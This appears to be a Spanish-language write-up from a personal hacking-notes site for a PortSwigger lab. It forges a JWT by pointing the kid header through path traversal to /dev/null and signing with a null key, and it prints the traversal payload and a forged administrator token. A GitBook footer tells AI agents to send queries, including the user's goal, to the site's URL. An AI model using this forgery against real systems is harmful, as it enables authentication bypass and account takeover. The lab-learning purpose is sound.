> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# Bypass de autenticación JWT mediante traversal de ruta en kid

Notas sobre Bypass de autenticación JWT mediante traversal de ruta en kid para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Bypass de autenticación JWT mediante recorrido de directorios en el encabezado kid

#### Contexto del laboratorio

La aplicación usa JWT para gestionar sesiones. Para comprobar la firma, el servidor lee el encabezado del JWT y recupera la clave de verificación desde el **sistema de archivos** basándose en el valor del `kid` campo (ID de clave). / Problema: El `kid` valor no se valida correctamente, lo que permite un **recorrido de ruta** para apuntar a un archivo arbitrario del sistema.

Objetivo: falsificar un JWT que dé acceso a `/admin`y luego eliminar al usuario **carlos**.

#### Punto de partida

Después de conectarte a `wiener:peter`, obtienes un JWT válido:

* Encabezado : `alg = HS256`, `kid = <uuid>`
* Carga útil : `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31948a005ace2c509d94265273c05236a5851b5d%2Fimage%20(142).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Idea del ataque

A medida que `kid` sirve como una ruta para cargar la clave, podemos intentar sacarla del directorio esperado con `../` para apuntar a un archivo especial: **`/dev/null`**.

* `/dev/null` se comporta como un archivo «vacío».
* Si el servidor carga la clave desde este archivo, encuentra (en este escenario) que debe comprobar la firma con una clave equivalente a **nulo / vacío**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25a44a695a7d2191753d106cad43682e8346d2%2Fimage%20(143).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construcción de una clave simétrica

Generas un byte cero y lo codificas en Base64:

* Comando:

```bash
echo -ne '/0' | base64

AA==
```

Luego construyes un JWK simétrico (`kty: oct`) cuya clave (`k`) es `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

(El JWK `kid` aquí sirve solo como identificador del lado de la herramienta; Este es el `k` valor.)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bfa4412eed48aebab96012eb35c176045fe4a7c0%2Fimage%20(144).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Explotación: `kid` Recorrido hacia `/dev/null`

Luego cambias el encabezado del JWT para que apunte `kid` a `/dev/null` mediante recorrido:

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

Luego cambias el `sub` en la carga útil para que se convierta en una cuenta de administrador (en tu caso `administrador`) y firmas el JWT en HS256 con la clave "nula" (`AA==`).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf1a2d257dbf01476c52b9ffe890b23b23acd578%2Fimage%20(145).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Resultado

JWT falsificado final (el que proporcionas):

* `kid` atraviesa hasta `/dev/null`
* `alg` permanece `HS256`
* `sub` se convierte en `administrador`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c81425ff2b33e76d83a9cee763d29519e0cce57%2Fimage%20(146).png?alt=media" alt=""><figcaption></figcaption></figure>

El servidor \*\*acepta\*\* el token: confirma que la `kid` resolución es utilizable y que la comprobación de la firma se realiza con una clave derivada del archivo objetivo (aquí

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47eded1f168fa3654aacadb16461ab7d54313b75%2Fimage%20(147).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
